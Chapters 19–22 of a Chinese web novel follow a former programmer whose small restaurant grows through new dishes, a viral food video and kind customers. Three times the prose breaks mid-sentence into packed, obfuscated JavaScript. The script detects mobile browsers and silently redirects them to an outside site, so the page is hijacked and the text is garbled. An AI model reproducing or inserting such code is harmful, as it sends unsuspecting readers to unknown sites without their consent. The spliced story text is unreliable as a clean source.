房寨看着小赵。这小伙子干活利索，人也机灵，客人反映都挺好。他一个人确实忙不过来，尤其是中午和晚上的高峰期，厨房里忙得脚打后脑勺，小赵在外面又要点单又要收银又要收拾桌子，有时候还要进来帮忙端菜。一个人干三个人的活，拿的却是兼职的工资。 “三千五。”房寨说，“包吃。” 小赵笑了：“行。” 从那天起，小赵成了店里第一个正式员工。 有了小赵全职，房寨轻松了不少。他可以专心在厨房里做菜，不用再分心管外面的事。小赵把前台管得井井有条，点单上菜收银收拾一条龙，偶尔还能帮房寨洗个菜切个葱。 房寨开始有时间琢磨新东西了。 绿豆汤和酸梅汤卖得好，但他觉得还缺点什么。夏天快过去了，到了秋天，凉面就不好卖了，得有个新东西顶上来。 他想到了汤面。 不是阳春面那种清汤寡水的，是带浇头的。红烧牛肉面、排骨面、炸酱面，这些都是大众口味，接受度高，做起来也不复杂。 房寨先从红烧牛肉面开始试。 牛肉要牛腩，肥瘦相间的，炖出来才香。焯水去腥，锅里炒糖色，下牛肉翻炒，加酱油料酒八角桂皮香叶，加水炖两个小时。炖出来的牛肉软烂入味，汤头浓郁红亮。 面条他用的是碱水面，比普通面条劲道。煮好面，浇上一大勺牛肉和汤，撒上葱花和香菜。 第一碗试吃的是阿坤。 阿坤吃了一口，嚼了嚼，没说话，又吃了一口。 “寨哥，这个面……你打算卖多少钱？” “十五吧。” “太便宜了。”阿坤放下筷子，“你这个牛肉给这么多，十五块你亏死了。最少十八。” 房寨算了算成本，牛腩一斤四十多，一碗面放二两肉，光肉的成本就八块多，加上面条、汤料、人工、房租，卖十五确实不赚什么钱。 “那就十八。” 阿坤又吃了几口，把汤都喝了，放下碗的时候嘴角还沾着汤汁。 “这个面，绝对能火。”他笃定地说。 红烧牛肉面上架那天，房寨在群里发了个预告，配了一张图。图里的面碗冒着热气，牛肉块堆得冒尖，汤汁红亮，葱花翠绿。群里的人看到图就疯了，有人说“寨哥儿你这是要干嘛想馋死我们吗”，有人说“我中午就去给我留一碗”，还有人说“十八块太便宜了外面卖二十五的都没你这个料足”。 中午十一点半，第一碗红烧牛肉面端出去的时候，店里已经坐满了人。小赵在外面喊号，声音都哑了。 那个中午，房寨卖了将近四十碗面。牛肉炖了两锅，全部卖光。有人吃完面把汤都喝干了，有人加了两回面，有人打包了三碗带回去。 接下来的几天，红烧牛肉面成了店里的新招牌。有人专门从城北开车过来吃，有人一周来三次，有人吃完发朋友圈又带来一波新客人。 房寨又加了排骨面和炸酱面。排骨面用的是炖排骨的汤底，比牛肉面清淡一些，适合不吃辣的人。炸酱面是老北京的做法，黄酱甜面酱按比例调，肉丁要肥瘦相间，炸酱的时候小火慢熬，熬到油酱分离。 三个口味的面，加上三个口味的煲仔饭，再加上炒河粉、凉面、绿豆汤、酸梅汤，菜单已经快写不下了。 小赵建议他做个正式的菜单，印刷的那种，不要用卡纸手写了。 房寨想了想，花了三百块钱找打印店印了五百份菜单。铜版纸，彩色印刷，上面有每道菜的图片。图片是他自己用手机拍的，不太专业，但胜在真实。菜单印好的那天，房寨拿在手里翻来覆去看了好几遍。这是他自己的店，自己的菜单，自己的菜。这种感觉，比拿到大学毕业证还踏实。 开店第三个月，房寨遇到了一个新的问题。 食材成本涨了。 猪肉涨了百分之二十，牛肉涨了百分之十五，连大米都涨了一点。房寨去菜市场买菜的时候，熟悉的摊主跟他说：“小伙子，下周可能还要涨。” 房寨算了一下，如果食材价格继续涨，他不涨价的话，利润就要被压缩。但如果涨价，客人可能会有意见。 他想了几天，决定不涨。 不涨的原因有两个。第一，他现在虽然赚得不算多，但也不亏。利润压缩一点还能接受。第二，他觉得客人都是老熟人了，人家支持他开店，他不能因为成本涨了就马上涨价，那样显得太急功近利了。 但成本的压力是实实在在的。房寨开始在采购上想办法。 以前他买牛肉都是在一家买，现在他跑了好几个菜市场，对比价格和质量。有的摊位便宜但肉不好，有的肉好但贵。最后他找到了一家刚开业的肉铺，老板是个年轻小伙子，肉的质量不错，价格也比别家便宜一成。 “老板，我长期在你家拿货，能不能再便宜点？” 年轻老板想了想：“行，你量大的话，我给你再便宜五个点。” 房寨把牛肉的采购成本降了下来，猪肉也找了新的供应商。虽然降得不多，但一个月算下来也能省好几百块。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511088|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >绿豆和乌梅他换成了批发的，一次买一个月的量，比零买便宜不少。他专门在城中村租了一个小仓库，一个月三百块，用来存放这些干货。 店里的生意越来越好，但房寨越来越忙。 早上七点到店，备料两个小时。九点开始炖牛肉、排骨、高汤。十点半开始有人来，一直忙到下午两点。下午两点到五点稍微轻松一点，但不能休息，要准备晚上的料。晚上五点到八点又是高峰期。八点之后客人少了，但还要收拾厨房、洗碗、打扫卫生、倒垃圾。九点多关门，回到家十点，洗个澡躺下就十一点了。 一天站十几个小时，腿肿了，脚底板起了茧子，右手手腕的膏药就没断过。 阿坤说他瘦了，上秤一称，掉了八斤。 他本来就不胖，再掉八斤就有点吓人了。颧骨凸出来了，锁骨也明显了，T恤穿在身上空荡荡的。 “寨哥，你得注意身体。”阿坤说，“你现在不是一个人了，你还有小赵，还有店，你要是倒下了，这些都完了。” 房寨知道阿坤说得对。但他停不下来。店里就两个人，他和小赵。小赵已经干得很拼了，他总不能比小赵还闲吧。 他试着调整了一下作息。晚上尽量十一点之前睡，早上六点半起，比之前多睡一个小时。中午客人少的时候，他靠在厨房的椅子上眯一会儿，哪怕闭眼十分钟也行。 身体稍微好了一点，但还是累。 有一天晚上，房寨正在厨房里炒河粉，忽然觉得头晕。不是那种天旋地转的晕，是那种眼前发黑、脚底下发软的晕。他扶着灶台站了一会儿，等那股劲儿过去。 小赵在外面喊他：“老板，三号桌加一份排骨煲仔饭。” “好。” 他应了一声，但手还在抖。 他深吸了一口气，把锅铲握紧了，开始炒那份河粉。 那天晚上回到家，他躺在床上，盯着天花板。灯没闪。他忽然想起来，他已经很久没有注意过那盏灯闪不闪了。以前那盏灯是他的心病，每天回来都要看它闪不闪，闪了就拍一下。现在他根本想不起来这件事了。 不是灯不闪了，是他不在意了。 他又想起了下午那个客人。一个中年男人，点了红烧牛肉面，吃完之后专门走到厨房门口跟他打招呼。男人说他在附近工地上干活，老家是四川的，在这边干了三年了，三年没回去过。他说房寨做的牛肉面让他想起老家镇上那家面馆的味道。 “我都快忘了那个味道了。”男人说，“今天一吃，想起来了。” 他笑了笑，露出一口被烟熏黄的牙，然后转身走了。 房寨翻了个身，把被子拉到肩膀。明天还要早起，还要炖牛肉，还要煮面，还要面对那些带着各自故事走进店里的客人。有的人开心，有的人难过，有的人想家，有的人饿着肚子。 他做的每一碗面，不只是面。 至少对那些吃的人来说，不只是一碗面。 20. 第 20 章 房寨是在一个普通的周二下午知道那个视频的。 小赵把手机拿过来的时候，他正在切葱。手机屏幕上是一个美食博主的账号，粉丝量后面跟着一串零，房寨数了数，六位数。 “老板，有人来拍你了。” 房寨接过手机看了一眼。视频的封面是他的店门口，“寨哥儿”三个字歪歪扭扭地挂在上面，配了一行大字：城南最隐秘的小店，煲仔饭绝了。 他点开视频。博主是个年轻男的，说话语速很快，镜头晃来晃去的。视频里他从门口拍起，拍到菜单，拍到厨房，拍到房寨炒菜的样子，最后拍到煲仔饭的特写。 “你们看这个锅巴，金黄酥脆，用勺子一铲，整片起来，听到这个声音了吗？嘎嘣脆。” 博主挖了一勺锅巴，对着镜头咬了一口，声音确实很脆。 “再看这个腊肠，油润润的，肥瘦相间，咬下去有汁水。米饭粒粒分明，每一粒都裹着腊味的油香。我跟你们说，我在广州吃了十几年煲仔饭，这家是我吃过最好的，没有之一。” 房寨听到“没有之一”这四个字，觉得有点夸张了。他的煲仔饭确实不错，但要说比广州老字号还好，那是不可能的。他只是一个开了几个月店的小老板，用的也不是什么顶级食材，就是菜市场买的腊肠腊肉，丝苗米也是普通货色。唯一的优势可能是他做得认真，火候控制得仔细，锅巴的脆度刚好。 视频的播放量已经十几万了，下面一千多条评论。 “这家我去过，老板人很好，东西确实好吃。” “那个锅巴的声音，我反复听了五遍。” “有没有人组团去的？我一个人不敢去，怕吃太多。” “城南哪里？具体位置有没有？” “看着就流口水了，周末去打卡。” 房寨把手机还给小赵，继续切葱。 “老板，你不高兴吗？”小赵问。 “有什么好高兴的。” “人家夸你呢，十几万人看呢。” 房寨没说话。他不是不高兴，是不知道该用什么表情面对这种事。他一个小店老板，被美食博主拍了，十几万人看他的店，这超出了他的理解范围。他不是明星，不是网红，他就是个做饭的。他觉得自己的店很小，位置很偏，装修也简陋，菜单上的字都是自己手写的，歪歪扭扭的，没什么值得专门拍个视频的。 但小赵不这么想。小赵兴奋了一整天，每隔一会儿就刷一下那个视频，看看播放量涨了多少。到晚上的时候，播放量已经破了三十万。 “老板，明天可能要爆。”小赵说。 房寨嗯了一声，没太当回事。他想，一个视频而已，能有多大影响？ 他错了。 视频发出来之后的第三天，店里爆了。 中午十一点不到，门口就开始排队了。房寨从厨房的窗户往外看，队伍弯弯曲曲的，一直排到隔壁那家店的门口。有年轻人，有中年人，有带着孩子的，有拖着行李箱的，看打扮像是从外地赶来的。 小赵在外面维持秩序，嗓子都喊哑了。 “大家排好队，不要挤，一个一个来。” “煲仔饭要等二十分钟，赶时间的可以点炒河粉或者面。” “酸梅汤和绿豆汤不用排队，直接进来买。” 但没人听他的。那些人举着手机，有的在拍照，有的在录视频，有的在跟朋友直播。一个穿裙子的姑娘对着镜头说：“家人们，我现在就在那个网红煲仔饭的门口，你们看这个队，排了好长，我等下进去给你们拍煲仔饭。” 房寨在厨房里忙疯了。六个砂锅同时开火，两个炉头炒河粉，一个炉头煮面，铁板上还烤着鱿鱼。他一个人管这么多东西，手忙脚乱的，差点把一锅煲仔饭烧糊了。 小赵忙完外面跑进来帮忙，两个人挤在小小的厨房里，转个身都能撞到一起。 “老板，外面还有二十多个人在等。”小赵一边洗菜一边说。 “让他们等，没办法。” “有人说等太久了，走了。” “走就走，我们做不过来。” 房寨不是不想赚那个钱，是真的做不过来。他只有两只手，六个砂锅已经是极限了。再多人，他只能让他们等，等不了的就走，他没办法。 那天中午，他们接待了将近一百个客人。食材用掉了一大半，酸梅汤和绿豆汤全部卖光，煲仔饭的砂锅轮了好几轮，锅底都来不及洗。最后一份煲仔饭出锅的时候，已经快两点了。 房寨靠在墙上喘气，小赵趴在桌上不想动了。 “老板，以后天天这样怎么办？”小赵有气无力地问。 “不会的，视频热度过去了就正常了。” 房寨说得对。视频的热度持续了大概一个礼拜，这一个礼拜店里天天爆满，每天都要排队。一个礼拜之后，人流慢慢回落，但还是比之前多了不少。 那些看了视频来的人，有一部分留下了，成了新熟客。 房寨的客人群体发生了变化。以前大多是附近的居民和群里的人，现在多了很多从城市各个角落专门赶来的年轻人。他们拿着手机导航找到这家小店，排队半小时，吃一碗煲仔饭，拍几张照片，发个朋友圈，然后满意地走了。 房寨不太理解这种行为，但他不排斥。人家愿意来，他就好好做。不管是为了吃饭还是为了拍照，到他店里就是客人，他一样认真对待。 但有一件事让他不太舒服。 有人在网上发了帖子，说他的店是“网红店”，说排队的人都是托，说东西一般般，全靠营销。 房寨看到这个帖子的时候，正在厨房里洗砂锅。小赵把手机拿给他看，他看完没说什么，把手机还回去，继续洗锅。他不太在意这些。他卖的是饭，不是口碑。饭好吃，客人自然会来。饭不好吃，说再多也没用。 但阿坤在意。 阿坤在帖子下面跟人吵起来了，吵了几十个来回，最后被管理员禁言了。 “寨哥，你都不生气的吗？”阿坤问他。 “生气有用吗？” “没用，但我就是咽不下这口气。” “那你帮我个忙。”房寨说，“帮我把今天晚上的排骨汤炖了，比吵架有用。” 阿坤愣了一下，然后笑了，系上围裙去炖汤了。 那个帖子后来慢慢沉了，没什么人看了。但店里的人流量确实受到了一点影响，连续几天都比之前少了大概一成。房寨没太担心。他知道这种东西有起有落，不可能天天爆满。只要他的东西做得好，客人迟早会回来。 果然，过了一个多礼拜，生意又恢复到了之前的水平。 视频带来的另一个变化是，开始有人来找他谈合作了。 第一个来找他的是个做外卖平台的业务员，二十出头，穿着一身不合身的西装，手里拿着一沓资料。他说可以帮房寨把店上线到外卖平台，平台抽成百分之二十。 房寨算了算，一碗煲仔饭卖二十，平台抽四块，他到手十六，再扣掉食材成本，一份就赚几块钱。而且煲仔饭这东西，现做现吃最好，外卖送到就不好吃了，锅巴不脆了，饭也凉了。 他拒绝了。业务员走的时候有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511089|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不高兴，说房寨不懂互联网思维。房寨想说，他以前就是搞互联网的，但想了想，没说。 第二个来找他的是个做加盟的，四十多岁，开着一辆黑色的SUV，穿了一件polo衫，领子立起来。他说可以把“寨哥儿”做成品牌，开分店，房寨出技术，对方出资金，利润五五分。 房寨想了想，也拒绝了。他自己这家店还没搞明白呢，开什么分店。而且他觉得，“寨哥儿”这个牌子之所以有人喜欢，是因为他在店里，是因为他亲手做的饭。换个人做，味道就不一样了。做加盟是为了赚钱，但他开店不只是为了赚钱。 第三个来找他的是个电视台的人，说是市里一个美食节目的编导，想采访他。房寨本来也想拒绝，但阿坤劝他：“寨哥，电视台采访是免费的宣传，你不要钱，人家给你打广告，为什么不干？” 房寨觉得有道理，就答应了。 采访那天，来了一个主持人、一个摄像师、一个编导。三个人扛着机器进了店，把本来就不大的空间塞得满满当当。主持人是个年轻姑娘，说话甜甜的，拿着话筒问房寨各种问题。 “你以前是做什么工作的？” “程序员。” “为什么会想到来开餐饮店？” 房寨想了想，说了实话：“因为还不起房贷。” 主持人愣了一下，然后笑了，大概没想到他会这么回答。编导在旁边竖了个大拇指，意思是这个回答好。 采访拍了两个小时，剪出来大概五分钟。播出的那天晚上，房寨没有看。他在厨房里备料，小赵在外面喊他：“老板，快来看，你上电视了！” 房寨擦了擦手，走出去看了一眼。店里的电视正在播那个节目，画面里的他站在灶台前面，穿着围裙，脸上全是汗，看起来又瘦又黑。 “这不是我。”他说。 “这就是你。”小赵说。 他看了一会儿，觉得电视里的那个人确实是自己，但又不太像。那个人的眼睛里有光，那种光他在镜子里没见过。可能因为他不怎么照镜子。 电视节目播出之后，又有一波新客人来了。但这次没有上次那么夸张，可能是因为电视台的观众年纪偏大，不会专门为了一个路边小店跑很远。来的大多是住在附近的中老年人，看了电视觉得新鲜，过来尝尝。 有个老大爷专门从三条街外走过来，点了一份腊味煲仔饭，吃完之后说了一句：“电视上没骗人，确实好吃。”房寨听了，比听到博主说“没有之一”还高兴。 房寨的生活又回到了正常的节奏。早上到店备料，中午忙一波，下午准备晚上的料，晚上再忙一波，关门回家。一天又一天，一周又一周，日子过得很快，快到他想不起来今天是星期几。 但他喜欢这种感觉。忙，但是踏实。累，但是有盼头。 有一天晚上关店之后，房寨一个人坐在店里，把那个美食博主的视频又看了一遍。这次他没有跳过，从头看到尾。他看到视频里的自己站在灶台前面，低着头，专注地看着砂锅里的火候，锅铲在手里翻动，动作不算快，但很稳。 他忽然意识到一件事。 在那些人眼里，他不只是一个做饭的。 他是一个认真做饭的。 认真，这件事在这个时代好像变成了一种稀缺的品质。大家都很快，很赶，很浮躁。很少有人愿意花十五分钟等一锅煲仔饭，很少有人愿意为了一个锅巴反复调整火候。但他做了，而且一直在做。 不是因为他有多高尚，是因为他觉得，既然做了，就要做好。 就这么简单。 21. 第 21 章 九月的时候，房寨发现天开始凉了。 早上出门的时候穿短袖有点冷了，要加一件薄外套。店里的空调不用开了，开着窗户就有风。酸梅汤和绿豆汤的销量开始往下掉，凉面也没以前好卖了。以前一天能卖五六十碗绿豆汤，现在一天能卖二十碗就不错了。凉面更惨，有时候一天只卖出几碗，大部分都倒掉了。 他需要换菜单了。 系统面板在他看菜单的时候弹了出来。 【季节更替提醒。建议推出适合秋季的菜品：炖品、煲类、热饮。】 【推荐菜品：萝卜炖牛腩、姜撞奶、红枣桂圆茶。】 【特别提示：秋冬季节食客更偏好温热、滋补类食物，建议增加汤品比重。】 房寨看着这三个推荐，觉得系统越来越懂他了。萝卜炖牛腩可以做，正好店里有牛肉和牛腩，萝卜便宜，炖一锅能卖很多份。姜撞奶有点麻烦，需要现做，但成本不高，利润可以。红枣桂圆茶最简单，泡就行了，连煮都不用。 他决定先做萝卜炖牛腩。 牛腩的做法和红烧牛肉面差不多，但要稍微清淡一些，突出牛肉本身的香味。房寨试了几次，第一次炖得太浓了，吃起来和牛肉面一个味道，客人说“这不就是牛肉面不加面吗”。第二次炖得太淡了，萝卜没入味，牛腩也有点腥。第三次他调整了配方，酱油减半，多加了一颗番茄提鲜，炖出来的汤头清亮但味道够，萝卜吸饱了汤汁，牛腩软烂不柴。 萝卜切滚刀块，和牛腩一起炖，炖到萝卜透明软烂，用筷子一戳就进去，但不会散。这时候的萝卜比肉还好吃，吸收了牛肉的汤汁，咬一口，汁水在嘴里爆开，甜丝丝的，带着肉香。 他定价二十二块钱一份，配一碗米饭。成本大概十块出头，毛利还行。 萝卜炖牛腩上架的第一天，卖得最好的不是年轻人，是附近的老人。有个老大爷，七十多岁，牙都快掉光了，吃别的费劲，吃这个正好。牛腩炖得烂，萝卜入口即化，不用怎么嚼就能咽下去。老大爷点了一份，吃了一半，把另一半打包了。 “带回去给我老太婆尝尝。”他说。 第二天老大爷又来了，这次带了老太太一起来。老太太坐在轮椅上，老大爷推着她，走了大概二十分钟才到。店门口有个小台阶，轮椅推不上去，老大爷正发愁，小赵看到了，跑出去帮忙把轮椅抬了上来。 老太太话不多，从进门到坐下就说了一句“谢谢”。她吃了一块萝卜，嚼了很久，然后点了点头。老大爷问她好吃吗，她说好吃。老大爷笑了，笑得很开心，像是自己做了一件很了不起的事。 房寨站在厨房门口看着这一幕，心里暖了一下。他给老太太多盛了一碗汤，免费的，用店里最大的碗装的。老太太喝了几口，抬起头看着他，这次说了两个字：“好喝。” 老大爷走的时候，特意到厨房门口跟房寨说了声谢谢。他说他老太婆中风以后就不怎么吃东西了，什么都嫌没味道，今天是第一次说“好吃”。 “小伙子，你这个炖得好。”老大爷说着说着眼圈有点红，但没哭，从口袋里掏出一张皱巴巴的十块钱，非要塞给房寨。 房寨没要，把钱推回去了。 “大爷，汤是送的，不要钱。” 老大爷看了看手里的钱，又看了看房寨，把钱收回去，点了点头，推着老太太走了。 房寨站在门口看着他们走远。老大爷走得很慢，轮椅的轮子在水泥地上发出咕噜咕噜的声音，越来越远，越来越小，最后消失在街角。 他忽然想起自己奶奶。奶奶也七十多了，一个人在老家，腿脚也不太好，走路要拄拐杖。上次打电话的时候，奶奶说她的膝盖又疼了，去医院看了，医生说要做手术，她不肯做，说年纪大了不想折腾。 房寨掏出手机给奶奶打了个电话。响了好几声才接，奶奶的声音从听筒里传出来，带着老家的口音，听起来很亲切。 “寨儿啊，吃饭了没有？” “吃了。你呢？” “吃了吃了，你不用担心我。”奶奶说，“你那个店开得怎么样了？” “还行，生意挺好的。” “那就好，那就好。”奶奶说，“你一个人在外面要照顾好自己，别太累了。我看天气预报说你们那边要降温了，你多穿点衣服。” “嗯，你也是。奶奶，你膝盖还疼吗？” “不疼了不疼，好多了。”奶奶说得很快，像是怕他担心。 房寨知道奶奶在骗他，但他没拆穿。 “奶奶，等我攒够了钱，接你过来住。” 电话那头沉默了几秒。然后奶奶说了一句：“好，我等你。” 挂了电话之后，房寨在门口站了一会儿。秋风从街上吹过来，带着一股凉意，把地上的落叶吹得沙沙响。街对面的梧桐树开始掉叶子了，黄黄绿绿的铺了一地，扫地的阿姨刚扫完，风一吹又落了一层。 他想，等攒够了钱，一定把奶奶接过来。 秋天来了之后，店里的营业时间也调整了。夏天的时候晚上八点还有很多人，秋天七点多就没什么人了，天黑得早，大家都不愿意出门。房寨把关门时间提前到了七点半。省电，也省人工。小赵下午有课的时候，他就一个人看店，客人不多，不用一直在厨房里忙，可以坐在门口晒晒太阳，看看手机。 有一天下午，店里来了个快递员。不是来吃饭的，是来送快递的。他手里拿着一个大箱子，放在门口，让房寨签收。 房寨看了看箱子上的寄件人，不认识。地址写的是城北的一个小区，名字叫“一个老顾客”。 他拆开箱子，里面是一个新的电饭煲，还有一张纸条。纸条上写着：“寨哥儿，我是你一个老顾客，看你店里的电饭煲旧了，内胆涂层都掉了，煮饭容易粘锅。送你一个新的。不用谢。” 房寨看着这个电饭煲，不知道说什么好。他把电饭煲拿出来，放在厨房里，把旧的换掉了。旧的那个确实该换了，内胆的涂层掉了好几块，煮饭的时候总是粘锅底，洗的时候要用钢丝球使劲刷，刷得内胆上全是划痕。他一直舍不得换新的，觉得还能用，能省就省。 现在有人帮他换了。 房寨把新电饭煲擦干净，拍了张照片发到群里。 “谢谢送电饭煲的朋友，破费了。” 群里的人又开始起哄。 “谁送的？我也要送！” “寨哥儿你还缺什么？我送你个锅。” “我送你个围裙。” “我送你个洗碗机。” “寨哥儿你店里的筷子该换了，我下次去给你带一包。” 房寨看着这些消息，笑了。他想起几个月前，自己还一个人在出租屋里吃蛋炒饭，连个说话的人都没有。现在他有了一群愿意给他送电饭煲的人。这些人他大部分都不认识，没见过面，不知道长什么样，叫什么名字，做什么工作。但他们愿意对他好，因为他先对他们好了。 他现在相信一句话了——你对别人好，别人也会对你好。 开店到现在，他从来没觉得自己做了什么了不起的事。就是做做饭，对人客气点，食材用好的，份量给足。有人要加汤，他就给加，不收钱。有人要换口味，他就给换，不嫌麻烦。有人带着孩子来，他就给孩子蒸个蛋羹，免费的。就这么简单。 但在那些人眼里，这些小事好像变成了大事。他们记住了他的好，然后用各种方式还回来。有人送电饭煲，有人送碗筷，有人送围裙，有人送抹布，有人送了一盆绿萝摆在店门口，说是能招财。房寨不懂这些，但绿萝确实长得挺好，绿油油的，看着就精神。 九月底的时候，房寨把第三个月的账算了。 这个月的营业额比上个月少了大概两成。他翻开记账本，一页一页地看。上个月总营业额两万三，这个月只有一万八出头。凉面和酸梅汤的销量掉了一大截，新的炖品还没完全接上，青黄不接的时候，营业额自然就下来了。 但净赚还是有一万出头。因为食材成本也低了，夏天的绿豆、乌梅、面条用量大，秋天的萝卜、牛腩虽然不便宜，但损耗少，不像绿豆汤那样卖不掉就要倒掉。 他把这个月的收入和支出列了一个表，看了好几遍。房租两千八，食材五千多，人工三千五，水电杂费七八百，加起来一万二左右。营业额一万八，净赚六千。加上系统奖励的房贷减免，这个月总共还了一万一的房贷。 他把本子合上，靠在椅背上，长长地呼了一口气。 开店三个月，平均每个月净赚八千左右。加上系统奖励，他已经还了将近十二万的房贷。一百五十二万变成了一百四十万。虽然还差得远，但至少方向是对的。每个月都在减少，不是增加，这就够了。 他开始想，要不要再请一个人。 小赵一个人忙不过来，尤其是中午高峰期。他需要一个专门洗碗和收拾桌子的，这样小赵就能专心点单收银，他就能专心做菜。现在小赵又要点单又要收银又要收拾桌子，有时候还要进来帮忙洗碗，忙得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511090|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像个陀螺，转个不停。房寨看着都累。 他在门口贴了一张招聘启事：“招洗碗工一名，男女不限，年龄不限，工作时间中午十一点到下午两点，一小时十五块。”启事是用纸板写的，字还是歪歪扭扭的，但比以前好看了一点。贴出去之后，路过的人看了一眼，有的摇摇头走了，有的拍了张照片，不知道是发朋友圈还是发给朋友看。 第二天，有个阿姨来应聘了。 阿姨五十多岁，姓周，就住在附近的小区。她说她退休了闲得慌，想找个事做。房寨问她以前做过什么，她说在工厂食堂干过，会洗碗，也会打扫卫生，手脚麻利，不偷懒。 房寨让她试了一天。周阿姨干活确实利索，碗洗得干净，桌子擦得亮，连灶台都顺手擦了。她还把厨房里的调料瓶重新摆了一遍，按大小个排好，整整齐齐的，看着就舒服。地也拖了，拖了三遍，地面亮得能照出人影。 “行，周阿姨，你明天就来上班。” 周阿姨笑了，露出一口整齐的牙。她笑起来很好看，不像五十多岁的人，像四十出头的。她说她年轻的时候在食堂干活，一天洗几百个碗，手都不带停的。现在退休了，闲不住，不干活浑身难受。 有了周阿姨，店里的运转更顺畅了。房寨在厨房做菜，小赵在外面点单收银，周阿姨洗碗收拾。三个人各司其职，像一台小机器一样运转着。房寨终于不用再自己洗碗了，省下来的时间可以用来研究新菜，或者休息一会儿。 房寨开始有了一点属于自己的时间。 下午两点到四点，店里没什么人，小赵和周阿姨都下班了。房寨一个人坐在店里，有时候研究新菜，有时候算账，有时候什么都不做，就坐着发呆。阳光从窗户照进来，照在蓝色的格子桌布上，灰尘在光线里飘来飘去，很慢很慢，像是时间也变慢了。 他喜欢这段时间。安静，没人打扰，不用想太多事情。他可以坐在靠窗的位置上，看着街上的人来来往往，看他们走路的样子，看他们脸上的表情，猜他们要去哪里，要做什么。有的人走得很急，像是有很重要的事情。有的人走得很慢，像是在散步。有的人边走边看手机，差点撞到电线杆。 他觉得自己好像提前过上了老年生活。但他不介意。老年生活有什么不好？不用赶时间，不用看人脸色，不用为了房贷愁得睡不着觉。虽然房贷还在，但至少不愁了。他知道自己每个月能赚多少，知道每个月能还多少，知道大概需要多少年能还完。 这个“知道”，就是最大的安全感。 有一天下午，房寨坐在店里晒太阳，手机震了一下。是阿坤发来的消息。 “寨哥，我考过营养师了。” 房寨愣了一下，然后笑了。他想起几个月前，阿坤跟他借了两千块钱，说要考营养师证。那时候他还以为阿坤是说着玩的，没想到真考过了。 他回复了一句：“恭喜，请我吃饭。” 阿坤秒回：“凭什么我考过了我请你？” “因为你借我的钱还没还。” 阿坤发了一长串省略号，然后说：“行吧，晚上请你吃烧烤。” 那天晚上关店之后，房寨去了阿坤说的那家烧烤店。阿坤已经在那里了，桌上摆了一堆串，还有两瓶啤酒。他看起来瘦了一点，也精神了一点，穿了一件新T恤，上面印着几个字：营养改变生活。 “你这衣服又是自己做的？”房寨坐下来，拿起一串羊肉。 “不是，机构发的。”阿坤说，“考过证的人都有一件。” “挺好看的。” “好看什么啊，丑死了。”阿坤嘴上这么说，但没脱下来。 两个人吃着串喝着啤酒，聊了很多。聊店里的生意，聊阿坤的新工作，聊小赵的学业，聊周阿姨的洗碗技术。聊着聊着，阿坤忽然问了一句：“寨哥，你现在还觉得累吗？” 房寨想了想，说：“累，但不一样了。” “怎么不一样？” “以前的累，是白累。现在的累，是值了。” 阿坤看着他，点了点头，举起啤酒瓶。 “来，寨哥，敬你。” “敬我什么？” “敬你那个值了的累。” 房寨笑了，举起瓶子，碰了一下。 夜风从街上吹过来，带着秋天的凉意。烧烤的烟飘上去，飘到路灯下面，被灯光照成一片朦胧的白色。 房寨喝了一口啤酒，觉得今天的啤酒特别好喝。不是因为酒好，是因为心情好。 22. 第 22 章 十月的第一个周末，店里来了一个房寨永远不会忘记的客人。 是个小姑娘，大概七八岁的样子，穿着校服，背着书包，一个人站在店门口。她往里看了看，又缩回去了。过了一会儿又探出头来看，反反复复好几次，像是在犹豫要不要进来。 小赵注意到了，出去问她：“小朋友，你找谁？” 小姑娘低着头，声音很小，小到小赵要蹲下来才听得到：“我饿了。” “你一个人来的？爸爸妈妈呢？” 小姑娘不说话了，就站在门口，两只手攥着书包带子，攥得指节都发白了。 小赵把她领进来，给她倒了杯水。小姑娘坐在椅子上，两只脚够不到地面，晃来晃去的，但眼睛一直盯着厨房的方向，大概是闻到了香味。 房寨从厨房里出来，看到这个小姑娘，愣了一下。他在这条街上开店好几个月了，从来没见过她。附近的小孩他大多认识，放学的时候经常从店门口路过，有的会进来买一杯酸梅汤，有的会趴在窗户上看他炒菜。但这个小姑娘面生得很。 他蹲下来，平视着她的眼睛。 “你想吃什么？” 小姑娘抬起头看着他，眼睛很大，黑亮黑亮的，里面有一种不属于这个年纪的东西。房寨说不上来是什么，像是害怕，又像是倔强，两种东西混在一起，让人看了心里发紧。 “我没有钱。” “不要钱，我请你。” 小姑娘想了想，嘴唇动了动，说了两个字：“吃面。” 房寨回到厨房，给她做了一碗阳春面。没有加太多东西，就是清汤、细面、葱花、一滴猪油。最简单的面，也是最暖的。他特意把面条煮得软了一些，怕她牙口不好。汤也多舀了半勺，秋天的傍晚已经有点凉了，热汤下去能暖身子。 